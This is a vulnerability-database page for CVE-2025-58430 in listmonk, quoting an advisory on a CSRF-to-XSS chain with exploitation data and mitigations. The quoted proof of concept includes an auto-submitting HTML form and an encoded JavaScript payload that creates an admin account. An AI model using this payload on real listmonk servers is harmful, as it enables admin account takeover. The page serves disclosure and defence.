NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2025-58430 — listmonk

CVE-2025-58430 is a Cross-site Scripting (XSS) vulnerability in github.com/knadh/listmonk. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

listmonk Vulnerable to CSRF to XSS Chain That Can Lead to Admin Account Takeover

Also known asGHSA-rf24-wg77-gq7wGO-2025-3943
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-58430.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs3th percentile — riskier than 3% of all scored CVEsHighest risk
0.00%0.21%0.42%0.64%0.0%0.1%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/knadh/listmonk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Details

During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.

This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.

Example HTTP request without nonce : <img width="1418" height="772" alt="user_creation_without_nonce_burp_request" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />

PoC

Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.

An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:

<img width="1912" height="935" alt="browser_template_editor_with_alert" src="https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad" />

And this request can also be made without nonce.

<img width="1883" height="707" alt="template_preview_burp_request_without_nonce" src="https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41" />

Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).

This is possible for 2 reasons :

  1. There is no validation of the nonce (as mentioned above)
  2. The session cookie has no samesite flag
<img width="1557" height="593" alt="no_same_site_response_cookie_burp" src="https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77" />

As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).

For example, we can host this html page to prompt the admin to make a post request

<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="https://10.100.132.47/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&lt;script&gt;alert&#40;&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)

  • Chrome ❌
  • Firefox ✅
  • Edge ✅

Example in Firefox :

xss_mozilla_poc

We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account: <img width="1226" height="925" alt="browser_template_editor_with_final_payload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />

    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body = "{\"username\":\"testuser4\",\"email\":\"[email protected]\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>

The final poc that exploits CSRF + XSS, allowing admin account creation:


<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://10.100.132.47/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&#32;&#32;&#32;&#32;&lt;script&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;function&#32;submitRequest&#40;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;xhr&#32;&#61;&#32;new&#32;XMLHttpRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;open&#40;&quot;POST&quot;&#44;&#32;&quot;https&#58;&#92;&#47;&#92;&#47;10&#46;100&#46;132&#46;47&#92;&#47;api&#92;&#47;users&quot;&#44;&#32;true&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;setRequestHeader&#40;&quot;Content&#45;Type&quot;&#44;&#32;&quot;application&#92;&#47;json&quot;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;withCredentials&#32;&#61;&#32;true&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;body&#32;&#61;&#32;&quot;&#123;&#92;&quot;username&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;email&#92;&quot;&#58;&#92;&quot;test3&#64;test&#46;com&#92;&quot;&#44;&#92;&quot;name&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;password&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;passwordLogin&#92;&quot;&#58;true&#44;&#92;&quot;type&#92;&quot;&#58;&#92;&quot;user&#92;&quot;&#44;&#92;&quot;status&#92;&quot;&#58;&#92;&quot;enabled&#92;&quot;&#44;&#92;&quot;listRoleId&#92;&quot;&#58;&#92;&quot;&#92;&quot;&#44;&#92;&quot;userRoleId&#92;&quot;&#58;1&#44;&#92;&quot;password2&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;password&#95;login&#92;&quot;&#58;true&#44;&#92;&quot;user&#95;role&#95;id&#92;&quot;&#58;1&#44;&#92;&quot;list&#95;role&#95;id&#92;&quot;&#58;null&#125;&quot;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;aBody&#32;&#61;&#32;new&#32;Uint8Array&#40;body&#46;length&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;for&#32;&#40;var&#32;i&#32;&#61;&#32;0&#59;&#32;i&#32;&lt;&#32;aBody&#46;length&#59;&#32;i&#43;&#43;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;aBody&#91;i&#93;&#32;&#61;&#32;body&#46;charCodeAt&#40;i&#41;&#59;&#32;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;send&#40;new&#32;Blob&#40;&#91;aBody&#93;&#41;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;submitRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


Impact

Admin account creation

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/knadh/listmonkall versionsNo fix

Affected Products

1 product · 1 configurations
Application
listmonknadh
≤ 1.1.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/knadh/listmonk for CVE-2025-58430. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can com
O3 Security · Impact-Aware SCA

Is CVE-2025-58430 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2025-58430: listmonk XSS